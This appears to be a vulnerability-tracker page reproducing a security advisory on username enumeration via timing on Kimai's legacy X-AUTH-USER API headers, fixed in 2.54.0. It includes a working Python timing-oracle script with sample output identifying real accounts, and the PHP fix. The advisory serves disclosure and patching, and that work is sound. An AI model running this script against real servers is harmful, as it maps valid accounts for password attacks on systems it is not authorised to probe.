Track vulnerabilities like this one. Sign up free to get alerted when software you use is affected.
3.7

Kimai: Unsecured Username Enumeration via Timing Attack

published 6 months ago
Summary

Kimai's API can be tricked into revealing user existence through slow response times, potentially allowing attackers to identify valid usernames. Affected users should update to a version that fixes this issue, and consider disabling the X-AUTH-USER header until then. This vulnerability is particularly concerning because it doesn't require any special privileges or login credentials, making it easier to exploit.

What to do
  • Update kimai kimai/kimai to version 2.54.0.
Affected software
Ecosystem VendorProductAffected versions
Packagist kimai kimai/kimai < 2.54.0
Fix: upgrade to 2.54.0
Original advisory text
Kimai: Username enumeration via timing on X-AUTH-USER
## Details

`src/API/Authentication/TokenAuthenticator.php` calls `loadUserByIdentifier()` first and only invokes the password hasher (argon2id) when a user is returned. When the username does not exist, the request returns roughly 25 ms faster than when it does. The response body is the same in both cases (`{"message":"Invalid credentials"}`, HTTP 403), so the leak is purely timing.

The `/api/*` firewall has no `login_throttling` configured, so the probe is unbounded.

The legacy `X-AUTH-USER` / `X-AUTH-TOKEN` headers are still accepted by default in 2.x. No prior authentication, no API token, and no session cookie are required.

## Proof of concept

```python
#!/usr/bin/env python3
"""Kimai username enumeration via X-AUTH-USER timing oracle."""

import argparse
import ssl
import statistics
import sys
import time
import urllib.error
import urllib.request

PROBE_PATH = "/api/users/me"
BASELINE_USER = "baseline_no_such_user_zzz"
DUMMY_TOKEN = "x" * 32


def probe(url, user, ctx):
req = urllib.request.Request(
url + PROBE_PATH,
headers={"X-AUTH-USER": user, "X-AUTH-TOKEN": DUMMY_TOKEN},
)
t0 = time.perf_counter()
try:
urllib.request.urlopen(req, context=ctx, timeout=10).read()
except urllib.error.HTTPError as e:
e.read()
return (time.perf_counter() - t0) * 1000.0


def median_ms(url, user, samples, ctx):
return statistics.median(probe(url, user, ctx) for _ in range(samples))


def load_candidates(path):
with open(path) as f:
return [ln.strip() for ln in f if ln.strip() and not ln.startswith("#")]


def main():
ap = argparse.ArgumentParser(description=__doc__.strip())
ap.add_argument("-u", "--url", required=True,
help="base URL, e.g. https://kimai.example")
ap.add_argument("-l", "--list", required=True, metavar="FILE",
help="one candidate username per line")
ap.add_argument("-t", "--threshold", type=float, default=15.0, metavar="MS",
help="median delta over baseline that flags a real user")
ap.add_argument("-n", "--samples", type=int, default=15)
ap.add_argument("--verify-tls", action="store_true")
args = ap.parse_args()

url = args.url.rstrip("/")
ctx = None if args.verify_tls else ssl._create_unverified_context()
candidates = load_candidates(args.list)

baseline = median_ms(url, BASELINE_USER, args.samples, ctx)
print(f"baseline: {baseline:.1f} ms", file=sys.stderr)

width = max(len(u) for u in candidates)
print(f"{'username':<{width}} {'median':>8} {'delta':>8} verdict")
print("-" * (width + 30))
for user in candidates:
m = median_ms(url, user, args.samples, ctx)
delta = m - baseline
verdict = "REAL" if delta > args.threshold else "-"
print(f"{user:<{width}} {m:>6.1f}ms {delta:>+6.1f}ms {verdict}")


if __name__ == "__main__":
main()
```

Usage:

```
$ ./timing_oracle.py -u https://target -l users.txt -n 15
[*] calibrating baseline with 15 samples
[*] baseline median: 37.7 ms
[*] probing 13 candidates (n=15, threshold=15.0 ms)

username median delta verdict
----------------------------------------------------------
[email protected] 64.2ms +26.5ms REAL
[email protected] 72.4ms +34.7ms REAL
[email protected] 70.0ms +32.3ms REAL
[email protected] 37.2ms -0.5ms -
admin 63.6ms +25.9ms REAL
administrator 38.2ms +0.4ms -
root 37.3ms -0.4ms -
test 33.6ms -4.1ms -
demo 38.2ms +0.5ms -
kimai 37.0ms -0.7ms -
nonexistent_user_aaa 38.1ms +0.4ms -
nonexistent_user_bbb 37.5ms -0.2ms -
nonexistent_user_ccc 38.4ms +0.7ms -
```

In this run, four real accounts were identified out of thirteen candidates with no false positives or false negatives. Probing took roughly five seconds per username at fifteen samples each.

## Fix

In `TokenAuthenticator::authenticate()`, run the password hasher against a fixed dummy hash when the user is not found, so the response time does not depend on user existence:

```php
private const DUMMY_HASH = '$argon2id$v=19$m=65536,t=4,p=1$ZHVtbXlzYWx0ZHVtbXk$YQ4N4lU0Sg9hRT2KhRGwLp7y4VZqkM5KQ8wYJ5HtoX0';

try {
$user = $this->userProvider->loadUserByIdentifier($credentials['username']);
} catch (UserNotFoundException $e) {
$this->passwordHasherFactory
->getPasswordHasher(User::class)
->verify(self::DUMMY_HASH, $credentials['password']);
throw $e;
}
```

The dummy hash must use the same algorithm and parameters as real user hashes so that `verify()` consumes equivalent CPU. Generate it once with `password_hash('dummy', PASSWORD_ARGON2ID)` and pin it as a constant.

## Relevance

The practical security impact is very limited. The response body and HTTP status are identical, and the only observable difference is a relatively small timing gap, which is even less relevant when the requests is executed against a network instead of a local installation. In addition, [this authentication method has already been deprecated since April 2024 and is scheduled for removal after Q2 2026](https://www.kimai.org/en/blog/2026/removing-api-passwords), so the issue only affects a legacy mechanism that is already being phased out. 
Fix within
Internet-facing 14 days
Internal 60 days
  • Not known to be exploited
  • Can be exploited automatically (estimated)
  • Gives an attacker partial control (estimated)
Severity
3.7 Low
Type
CWE-208Observable Timing Discrepancy
Timeline
Published17 Apr 2026
Updated17 Apr 2026
First seen17 Apr 2026
Sources
Track software like this
Free during beta